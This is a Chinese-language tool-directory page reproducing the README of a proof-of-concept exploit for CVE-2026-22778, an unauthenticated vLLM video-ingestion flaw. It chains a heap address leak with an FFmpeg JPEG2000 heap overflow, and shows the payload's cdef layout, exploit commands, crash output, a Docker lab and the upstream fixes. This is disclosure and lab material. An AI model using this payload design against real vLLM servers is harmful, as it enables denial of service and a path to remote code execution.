Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
EXPLOIT-CVE-2026-22778 — CVE-2026-22778 的概念验证漏洞利用程序,针对 vLLM 视频处理中的未认证远程代码执行(RCE),演示了堆地址泄露以及 FFmpeg JPEG2000 解码器中的堆缓冲区溢出。包含一个用于授权测试的易受攻击实验环境。 | Kitploit
工具/GitHubGitHub/joaovicdev/exploit-cve-2026-22778
漏洞分析漏洞利用Web应用程序漏洞利用模糊测试渗透测试学习与教育二进制利用实验室与实践

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
GitHub
joaovicdev/exploit-cve-2026-22778

EXPLOIT-CVE-2026-22778

CVE-2026-22778 的概念验证漏洞利用程序,针对 vLLM 视频处理中的未认证远程代码执行(RCE),演示了堆地址泄露以及 FFmpeg JPEG2000 解码器中的堆缓冲区溢出。包含一个用于授权测试的易受攻击实验环境。

查看仓库
19小时14分前尚未审核
分享

CVE-2026-22778 — vLLM 视频处理中的 RCE

针对 CVE-2026-22778(CVSS 9.8)的漏洞实验环境与概念验证,该漏洞是 vLLM 多模态摄取路径中的未认证远程代码执行链。

CVECVE-2026-22778
公告GHSA-4r2x-xpjr-7cvv
受影响版本vLLM >= 0.8.3, < 0.14.1(提供视频模型服务的部署)
修复版本vLLM 0.14.1
CVSS9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
底层缺陷CVE-2025-9951 — FFmpeg JPEG2000 解码器中的堆缓冲区溢出

漏洞详情

两个独立的缺陷被串联利用。默认的 vllm serve 没有任何认证,因此两者都可以在未认证状态下通过 /v1/chat/completions 和 /v1/invocations 端点触达。

阶段 1 — 堆地址泄露(绕过 ASLR)

当图片解析失败时,Pillow 会抛出一个异常,其消息中嵌入了它所读取的 BytesIO 对象的 repr():

root@kitploit:~
cannot identify image file <_io.BytesIO object at 0x7f4a9c2e1d50>

vLLM 将媒体加载失败转换为 HTTP 400,并将 exc.detail 原封不动地返回给客户端 (api_server.py):

root@kitploit:~
async def http_exception_handler(_: Request, exc: HTTPException):
    err = ErrorResponse(
        error=ErrorInfo(
            message=exc.detail,          # <-- 原样泄露地址
            ...

这一个地址将堆 ASLR 从约 32 位熵降低到大约 3 位,这正是使阶段 2 可被利用(而不仅仅是导致崩溃)的关键。

阶段 2 — JPEG2000 解码器中的堆缓冲区溢出

服务器获取 video_url 并将其交给 OpenCV:

root@kitploit:~
MediaConnector.load_from_url()      vllm/multimodal/utils.py
  -> OpenCVVideoBackend.load_bytes()   vllm/multimodal/video.py
    -> cv2.VideoCapture(BytesIO(data), backend, [])
      -> FFmpeg 5.1.x (bundled in opencv-python-headless < 4.13)

vLLM 固定使用了 opencv-python-headless >= 4.11.0,其中捆绑了 FFmpeg 5.1.x。其 JPEG2000 解码器直接从文件的通道定义(cdef)框中选取目标平面 — libavcodec/jpeg2000dec.c,write_frame_8:

root@kitploit:~
if (planar)
    plane = s->cdef[compno] ? s->cdef[compno]-1 : (s->ncomponents-1);
...
int w = tile->comp[compno].coord[0][1] - ...;   /* 来自组件      */
int h = tile->comp[compno].coord[1][1] - ...;   /* 而非平面!    */

plane 由攻击者控制,但 w/h 来自正在解码的组件,且没有任何检查确保两者相互匹配。cdef 条目 cn=0, asoc=2 将组件 0(全分辨率亮度平面)发送到平面 1(2×2 子采样色度平面)。

对于此 PoC 使用的 150×64 帧:

大小
Y 组件(写入)150 × 64 = 9,600 字节
U 平面(目标)75 × 32 = 2,400 字节
溢出超出分配 7,200 字节

FFmpeg 将每个平面分配为独立的 AVBuffer,因此溢出会穿过相邻的堆块 — 包括持有 free 函数指针的 AVBuffer 结构体。结合阶段 1 的泄露,覆写该指针是将内存破坏转化为代码执行的关键。

此 PoC 止步于内存破坏。 它通过杀死服务器进程来证明越界写入。堆整理和函数指针覆写被有意未实现。

实验环境

lab/app.py 是 vLLM 0.13.0 多模态摄取路径的最小化重实现 — MediaConnector、ImageMediaIO、OpenCVVideoBackend 以及补丁前的错误处理器,每个部分都标注了其对应的上游文件。模型运行时被桩替代:漏洞完全存在于媒体摄取中,该过程在推理之前执行,不需要 GPU 或模型权重。

攻击路径上的所有组件都是真实组件 — 泄露地址的同一个 Pillow 调用,以及进入未打补丁的 opencv-python-headless==4.11.0.86(FFmpeg 5.1.x,libavcodec 59.37.100)的同一个 cv2.VideoCapture 调用。

使用方法

root@kitploit:~
docker compose up -d --build
python3 exploit.py

选项:

root@kitploit:~
python3 exploit.py --target http://localhost:8000
python3 exploit.py --serve                  # 通过 HTTP 传递载荷
python3 exploit.py --write-payload evil.jp2 # 仅写入恶意文件

该漏洞利用仅使用纯标准库 — 无任何依赖。

预期输出

root@kitploit:~
[*] Stage 1 -- heap address disclosure via PIL error message
    HTTP 400
    cannot identify image file <_io.BytesIO object at 0xffff8f555300>
[+] Leaked heap address: 0xffff8f555300
    ASLR bypassed: the heap base is now known to ~3 bits of entropy.

[*] Stage 2 -- heap buffer overflow in the JPEG2000 decoder
    Target alive: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
    Payload: 203 bytes, 150x64 yuv420p JP2
    cdef maps component 0 -> plane 1: writes 9600 bytes into a 2400-byte plane (7200-byte overflow)
    Request never completed: Remote end closed connection without response
    Probing /health to see what happened to the worker...
[+] Worker was killed and restarted: boot_id 95b62f18-... -> 4494d28c-...
[+] Out-of-bounds write confirmed.

以及服务器端:

root@kitploit:~
$ docker compose logs vllm
cve-2026-22778-lab  | INFO:     POST /v1/chat/completions HTTP/1.1" 400 Bad Request
cve-2026-22778-lab  | corrupted size vs. prev_size
cve-2026-22778-lab  | INFO:     Started server process [1]

清理:

root@kitploit:~
docker compose down

载荷

203 字节,在 build_payload() 中从零构建。一个 JP2 容器,包含一个极简的 JPEG2000 码流,声明三个组件采用 4:2:0 子采样(因此 FFmpeg 分配 yuv420p 帧),外加一个重新映射这些组件的 cdef 框:

root@kitploit:~
cn=0, typ=0, asoc=2   <-- 组件 0(全分辨率)进入平面 1(子采样)
cn=1, typ=0, asoc=2
cn=2, typ=0, asoc=3

系数数据为空。解码器仍然根据 SIZ 头分配帧并运行写入循环,因此不需要真实的图像数据。

修复

vLLM 0.14.1,通过三个 PR:

  • #31987 — 新增 sanitize_message(),在对象 repr 到达客户端之前剥离其中的 at 0x<addr>> 部分。
  • #32319 — 将剩余的错误路径路由到该函数。
  • #32668 — 将 opencv-python-headless 升级到 >= 4.13.0,纳入针对 CVE-2025-9951 的 FFmpeg 修复。

上游 FFmpeg 现在会拒绝不是通道排列的 cdef 映射,并根据重新映射的索引推导像素格式:

root@kitploit:~
int cdef_used = 0;
for (i = 0; i < s->ncomponents; i++)
    cdef_used |= 1<<s->cdef[i];
if (cdef_used != ((int[]){0,2,3,14,15})[s->ncomponents])
    return AVERROR_INVALIDDATA;

将实验环境的固定版本切换为 opencv-python-headless>=4.13.0 会使相同的载荷以 error during processing marker segment ff51 无害地失败。

如果无法升级:不要提供视频模型服务,在 API 前添加认证,并使用 --allowed-media-domains 限制媒体获取。

备注

  • 实验环境在每次崩溃后会自动重启,因此 PoC 可以重复运行。
  • 在 Apple Silicon 上,让 docker compose 为原生 arm64 架构构建(默认行为)。强制使用 --platform linux/amd64 会在模拟下运行容器,此时中止的进程会挂起而非退出,崩溃更难观察。

参考

  • NVD — CVE-2026-22778
  • vLLM 公告 — GHSA-4r2x-xpjr-7cvv
  • FFmpeg 公告 — GHSA-39q3-f8jq-v6mg (CVE-2025-9951)

免责声明

仅供教育和授权安全测试使用。请仅针对本仓库中的实验环境或您拥有明确测试权限的系统运行。

下载工具